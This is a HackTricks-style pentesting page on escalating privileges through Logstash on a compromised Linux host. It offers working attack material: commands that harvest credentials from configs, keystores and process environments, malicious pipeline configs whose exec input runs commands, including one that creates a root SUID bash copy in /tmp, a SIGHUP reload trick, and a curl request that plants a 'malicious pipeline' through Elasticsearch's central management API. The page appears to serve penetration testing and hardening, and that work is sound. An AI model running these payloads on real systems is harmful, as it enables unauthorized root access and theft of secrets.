logstash.md (12093B)
1 --- 2 title: "Logstash Privilege Escalation" 3 section: "Linux" 4 sectionSlug: "linux-hardening" 5 sourcePath: "src/linux-hardening/software-information/logstash.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/linux-hardening/software-information/logstash.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Logstash Privilege Escalation 14 15 ## Logstash 16 17 Logstash is used to **gather, transform, and dispatch logs** through a system known as **pipelines**. These pipelines are made up of **input**, **filter**, and **output** stages.<sup>[[4]](#references)</sup> An interesting aspect arises when Logstash operates on a compromised machine. 18 19 ### Pipeline Configuration 20 21 On Debian and RPM package installs, pipelines are configured via **/etc/logstash/pipelines.yml**, which lists the locations of the pipeline configurations; other distributions place `pipelines.yml` in the Logstash `path.settings` directory.<sup>[[5]](#references)[[6]](#references)</sup> 22 23 ```yaml 24 # Define your pipelines here. Multiple pipelines can be defined. 25 # For details on multiple pipelines, refer to the documentation: 26 # https://www.elastic.co/guide/en/logstash/current/multiple-pipelines.html 27 28 - pipeline.id: main 29 path.config: "/etc/logstash/conf.d/*.conf" 30 - pipeline.id: example 31 path.config: "/usr/share/logstash/pipeline/1*.conf" 32 pipeline.workers: 6 33 ``` 34 35 This file reveals where the **.conf** files containing pipeline configurations are located. When using an **Elasticsearch output**, inspect its `user`/`password`, `cloud_auth`, or `api_key` settings; the account's effective privileges depend on Elasticsearch. A `path.config` glob loads every matching file for that pipeline.<sup>[[6]](#references)[[7]](#references)[[11]](#references)</sup> 36 37 If Logstash is started with `-f <directory>` instead of `pipelines.yml`, `-f` takes precedence and **all files inside that directory are concatenated in lexicographical order and parsed as a single config**.<sup>[[6]](#references)[[7]](#references)</sup> This creates 2 offensive implications: 38 39 - A dropped file like `000-input.conf` or `zzz-output.conf` can change how the final pipeline is assembled 40 - A malformed file can make the combined config fail validation; during reload, Logstash retains the previous pipeline, so validate payloads before relying on auto-reload.<sup>[[1]](#references)</sup> 41 42 ### Fast Enumeration on a Compromised Host 43 44 On a box where Logstash is installed, quickly inspect: 45 46 ```bash 47 ps aux | grep -i logstash 48 systemctl cat logstash 2>/dev/null 49 cat /etc/logstash/pipelines.yml 2>/dev/null 50 cat /etc/logstash/logstash.yml 2>/dev/null 51 find /etc/logstash /usr/share/logstash -maxdepth 3 -type f \( -name '*.conf' -o -name 'logstash.yml' -o -name 'pipelines.yml' \) -ls 52 rg -n --hidden -S 'password|passwd|api[_-]?key|cloud_auth|ssl_keystore_password|truststore_password|user\s*=>|hosts\s*=>' /etc/logstash /usr/share/logstash 2>/dev/null 53 ``` 54 55 Also check whether the local monitoring API is reachable. By default it binds on **127.0.0.1:9600**, which is usually enough after landing on the host.<sup>[[8]](#references)</sup> 56 57 ```bash 58 curl -s http://127.0.0.1:9600/?pretty 59 curl -s http://127.0.0.1:9600/_node/pipelines?pretty 60 curl -s http://127.0.0.1:9600/_node/stats/pipelines?pretty 61 ``` 62 63 These endpoints expose pipeline IDs and settings, runtime metrics, and config-reload success/failure counters, helping confirm whether a change was accepted.<sup>[[8]](#references)[[17]](#references)[[18]](#references)</sup> 64 65 If a recovered credential targets **Elasticsearch**, check [this other page about Elasticsearch](/hacktricks/network-services-pentesting/9200-pentesting-elasticsearch). 66 67 ### Privilege Escalation via Writable Pipelines 68 69 To attempt privilege escalation, first identify the user under which the Logstash service is actually running; do not assume it is root or the **logstash** user. Ensure you meet **one** of these criteria: 70 71 - Possess **write access** to a pipeline **.conf** file **or** 72 - The **/etc/logstash/pipelines.yml** file uses a wildcard, and you can write to the target folder.<sup>[[6]](#references)[[7]](#references)</sup> 73 74 Additionally, **one** of these conditions must be fulfilled: 75 76 - Capability to restart the Logstash service **or** 77 - The **/etc/logstash/logstash.yml** file has **config.reload.automatic: true** set.<sup>[[1]](#references)[[15]](#references)</sup> 78 79 Given a wildcard in the configuration, creating a file that matches this wildcard allows for command execution.<sup>[[7]](#references)[[9]](#references)</sup> For instance: 80 81 ```bash 82 input { 83 exec { 84 command => "whoami" 85 interval => 120 86 } 87 } 88 89 output { 90 file { 91 path => "/tmp/output.log" 92 codec => rubydebug 93 } 94 } 95 ``` 96 97 Here, **interval** determines the execution frequency in seconds. In the given example, the **whoami** command runs every 120 seconds, with its output directed to **/tmp/output.log**.<sup>[[9]](#references)</sup> 98 99 With **config.reload.automatic: true** in **/etc/logstash/logstash.yml**, Logstash will automatically detect and apply new or modified pipeline configurations without needing a restart.<sup>[[1]](#references)[[15]](#references)</sup> If there's no wildcard, modifications can still be made to existing configurations, but caution is advised to avoid disruptions. 100 101 ### More Reliable Pipeline Payloads 102 103 The `exec` input plugin still works in current releases and requires either an `interval` or a `schedule`. It executes by **forking** the Logstash JVM, so if memory is tight your payload may fail with `ENOMEM` instead of silently running.<sup>[[9]](#references)</sup> 104 105 When the service has sufficient privileges to create a root-owned SUID file, a practical privilege-escalation payload is one that leaves a durable artifact: 106 107 ```bash 108 input { 109 exec { 110 command => "cp /bin/bash /tmp/logroot && chown root:root /tmp/logroot && chmod 4755 /tmp/logroot" 111 interval => 300 112 } 113 } 114 output { 115 null {} 116 } 117 ``` 118 119 If you don't have restart rights but can signal the process, Logstash also supports a **SIGHUP**-triggered reload on Unix-like systems:<sup>[[1]](#references)</sup> 120 121 ```bash 122 kill -SIGHUP $(pgrep -f logstash) 123 ``` 124 125 Be aware that not every plugin is reload-friendly. For example, the **stdin** input prevents automatic reload, so don't assume `config.reload.automatic` will always pick up your changes.<sup>[[1]](#references)</sup> 126 127 ### Stealing Secrets from Logstash 128 129 Before focusing only on code execution, harvest the data Logstash already has access to: 130 131 - Credentials may appear in `elasticsearch {}` outputs, `http_poller` URLs/settings, JDBC inputs, or cloud-related settings; these plugins expose credential fields worth searching for.<sup>[[11]](#references)[[12]](#references)[[13]](#references)</sup> 132 - Secure settings may live in **`/etc/logstash/logstash.keystore`** or another `path.settings` directory.<sup>[[5]](#references)[[10]](#references)</sup> 133 - The keystore password may be supplied through **`LOGSTASH_KEYSTORE_PASS`**, and RPM/DEB installs source service environment variables from **`/etc/sysconfig/logstash`**.<sup>[[10]](#references)</sup> 134 - Environment-variable expansion with `${VAR}` is resolved at Logstash startup, so the service environment is worth inspecting.<sup>[[14]](#references)</sup> 135 136 Useful checks: 137 138 ```bash 139 ls -l /etc/logstash /etc/logstash/logstash.keystore 2>/dev/null 140 strings /etc/logstash/conf.d/*.conf 2>/dev/null | head 141 tr '\0' '\n' < /proc/$(pgrep -o -f logstash)/environ 2>/dev/null | sort 142 cat /etc/sysconfig/logstash 2>/dev/null 143 journalctl -u logstash --no-pager 2>/dev/null | tail -n 200 144 ls -lah /var/log/logstash 2>/dev/null 145 ``` 146 147 This is also worth checking because **CVE-2023-46672** showed that, under specific circumstances, Logstash recorded sensitive information in its logs, including secrets stored in its keystore and referenced from configuration; review old Logstash logs and `journald` entries if those circumstances may apply.<sup>[[3]](#references)</sup> 148 149 ### Centralized Pipeline Management Abuse 150 151 In some environments, the host does **not** rely on local `.conf` files at all. If **`xpack.management.enabled: true`** is configured, Logstash can pull centrally managed pipelines from Elasticsearch/Kibana, and after enabling this mode local pipeline configs are no longer the source of truth.<sup>[[2]](#references)</sup> 152 153 That means a different attack path: 154 155 1. Recover Elastic credentials from local Logstash settings, the keystore, or logs.<sup>[[3]](#references)[[10]](#references)</sup> 156 2. Verify whether the account has the **`manage_logstash_pipelines`** cluster privilege.<sup>[[16]](#references)</sup> 157 3. Create or replace a centrally managed pipeline so the Logstash host executes your payload on its next poll interval.<sup>[[2]](#references)[[16]](#references)</sup> 158 159 The Elasticsearch API used for this feature is:<sup>[[16]](#references)</sup> 160 161 ```bash 162 curl -X PUT http://ELASTIC:9200/_logstash/pipeline/pwned \ 163 -H 'Content-Type: application/json' \ 164 -u user:password \ 165 -d '{ 166 "description": "malicious pipeline", 167 "last_modified": "2026-01-02T02:50:51.250Z", 168 "username": "user", 169 "pipeline": "input { exec { command => \"id > /tmp/.ls-rce\" interval => 120 } } output { null {} }", 170 "pipeline_metadata": {"type": "logstash_pipeline", "version": "1"}, 171 "pipeline_settings": { 172 "pipeline.workers": 1, 173 "pipeline.batch.size": 1, 174 "pipeline.batch.delay": 50, 175 "queue.type": "memory", 176 "queue.max_bytes": "1gb", 177 "queue.checkpoint.writes": 1024 178 } 179 }' 180 ``` 181 182 This is especially useful when local files are read-only but Logstash is already registered to fetch pipelines remotely.<sup>[[2]](#references)[[16]](#references)</sup> 183 184 ## References 185 186 - [1] [Elastic Docs: Reloading the Config File](https://www.elastic.co/guide/en/logstash/8.19/reloading-config.html) 187 - [2] [Elastic Docs: Configure Centralized Pipeline Management](https://www.elastic.co/guide/en/logstash/8.19/configuring-centralized-pipelines.html) 188 - [3] [Logstash 8.11.1 Security Update (ESA-2023-26) - CVE-2023-46672](https://discuss.elastic.co/t/logstash-8-11-1-security-update-esa-2023-26/347191) 189 - [4] [Elastic Docs: Creating a Logstash Pipeline](https://www.elastic.co/docs/reference/logstash/creating-logstash-pipeline) 190 - [5] [Elastic Docs: Logstash Directory Layout](https://www.elastic.co/docs/reference/logstash/dir-layout) 191 - [6] [Elastic Docs: Multiple Pipelines](https://www.elastic.co/docs/reference/logstash/multiple-pipelines) 192 - [7] [Elastic Docs: Running Logstash from the Command Line](https://www.elastic.co/docs/reference/logstash/running-logstash-command-line) 193 - [8] [Elastic Docs: Monitoring Logstash with APIs](https://www.elastic.co/docs/reference/logstash/monitoring-logstash) 194 - [9] [Elastic Docs: Exec input plugin](https://www.elastic.co/docs/reference/logstash/plugins/plugins-inputs-exec) 195 - [10] [Elastic Docs: Secrets keystore for secure settings](https://www.elastic.co/docs/reference/logstash/keystore) 196 - [11] [Elastic Docs: Elasticsearch output plugin](https://www.elastic.co/docs/reference/logstash/plugins/plugins-outputs-elasticsearch) 197 - [12] [Elastic Docs: Http_poller input plugin](https://www.elastic.co/docs/reference/logstash/plugins/plugins-inputs-http_poller) 198 - [13] [Elastic Docs: Jdbc input plugin](https://www.elastic.co/docs/reference/logstash/plugins/plugins-inputs-jdbc) 199 - [14] [Elastic Docs: Using environment variables](https://www.elastic.co/docs/reference/logstash/environment-variables) 200 - [15] [Elastic Docs: logstash.yml](https://www.elastic.co/docs/reference/logstash/logstash-settings-file) 201 - [16] [Elasticsearch API: Create or update a Logstash pipeline](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-logstash-put-pipeline) 202 - [17] [Logstash API: Get settings for pipelines](https://www.elastic.co/docs/api/doc/logstash/operation/operation-nodeinfopipelines) 203 - [18] [Logstash API: Get statistics for pipelines](https://www.elastic.co/docs/api/doc/logstash/operation/operation-nodestatspipelines)